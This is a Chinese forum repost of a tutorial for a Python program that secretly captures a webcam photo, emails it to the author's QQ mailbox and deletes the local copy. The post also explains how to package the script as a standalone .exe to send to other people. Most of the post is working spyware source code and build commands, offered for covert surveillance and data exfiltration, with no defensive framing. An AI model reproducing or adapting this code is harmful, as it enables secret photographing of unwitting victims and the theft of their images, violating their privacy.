社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

入狱小技巧:Python编写窃取摄像头照片程序

Python编程时光 • 4 年前 • 480 次点击  

来源:http://nxw.so/5nIWK  作者: Henrik-Yao


教你用python做一个属于自己的窃取摄像头照片的软件。

需要安装python3.5以上版本,在官网下载即可。

然后安装库opencv-python,安装方式为打开终端输入命令行。

可以在使用pip的时候加参数-i https://pypi.tuna.tsinghua.edu.cn/simple,这样就会从清华这边的镜像去安装需要的库,会快很多。

$ pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/

具体的代码以及相应的注释如下,你只需要更改收件人和发件人为自己的邮箱,更改授权码,再编译成可执行文件,即把.py打包成.exe,这样就可以发给别人用啦。

import os                                       # 删除文件
import cv2                                      # 调用摄像头拍摄照片
from smtplib import SMTP_SSL                    # SSL加密的   传输协议
from email.mime.text import MIMEText            # 构建邮件文本
from email.mime.multipart import MIMEMultipart  # 构建邮件体
from email.header import Header                 # 发送内容


# 调用摄像头拍摄照片
def get_photo():
    cap = cv2.VideoCapture(0)           # 开启摄像头
    f, frame = cap.read()               # 将摄像头中的一帧数据保存
    cv2.imwrite('image.jpg', frame)     # 将保存为本地文件
    cap.release()                       # 关闭摄像头


# 把文件发送到我的邮箱
def send_message():
    # 选择QQ邮箱发送照片
    host_server = 'smtp.qq.com'         # QQ邮箱smtp服务器
    pwd = '****************'            # 授权码
    from_qq_mail = 'QQ@qq.com'          # 发件人
    to_qq_mail = 'QQ@qq.com'            # 收件人
    msg = MIMEMultipart()               # 创建一封带附件的邮件

    msg['Subject'] = Header('摄像头照片''UTF-8')    # 消息主题
    msg['From'] = from_qq_mail                       # 发件人
    msg['To'] = Header("YH"'UTF-8')                # 收件人
    msg.attach(MIMEText("照片"'html''UTF-8'))    # 添加邮件文本信息

    # 加载附件到邮箱中  SSL 方式   加密
    image = MIMEText(open('image.jpg''rb').read(), 'base64''utf-8')
    image["Content-Type"] = 'image/jpeg'   # 附件格式为的加密数据
    msg.attach(image)                      # 附件添加

    # 开始发送邮件
    smtp = SMTP_SSL(host_server)           # 链接服务器
    smtp .login(from_qq_mail, pwd)         # 登录邮箱
    smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string())  # 发送邮箱
    smtp.quit()     # 退出


if __name__ == '__main__':
    get_photo()                 # 开启摄像头获取照片
    send_message()              # 发送照片
    os.remove('image.jpg')      # 删除本地照片

获取授权码的方法:设置->账户->开启pop3/smtp服务->验证密保,即可获取到16位授权码。





打包方法:

  • 先安装pyinstaller,在终端中输入pip install pyinstaller即可。

  • 找路径,用cd法找路径比较麻烦,这里推荐一种简便的方法,直接在路径框里面输入cmd进入终端即可,进入了就是目标路径。



打包,输入命令行


pyinstaller --console --onefile 7.py  //这里打包的是一个叫7.py的文件。

在dist文件夹里面即可找到可执行文件。


最后实验一下,会得到一个bin后缀的附件,把他改成jpg即可查看。





推荐阅读  点击标题可跳转
教你用 PyCharm 搭建一劳永逸的开发环境
15 个让新手爱不释手的 Python 高级库
神奇的一行代码,让 Python 轻松跑赢 C++
阿里开源的 Python 自动化工具,太好用了
Celery 从入门到进阶,这一篇别错过了
如果对你有帮助。
请不吝点赞,点在看,谢谢。
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/111422
 
480 次点击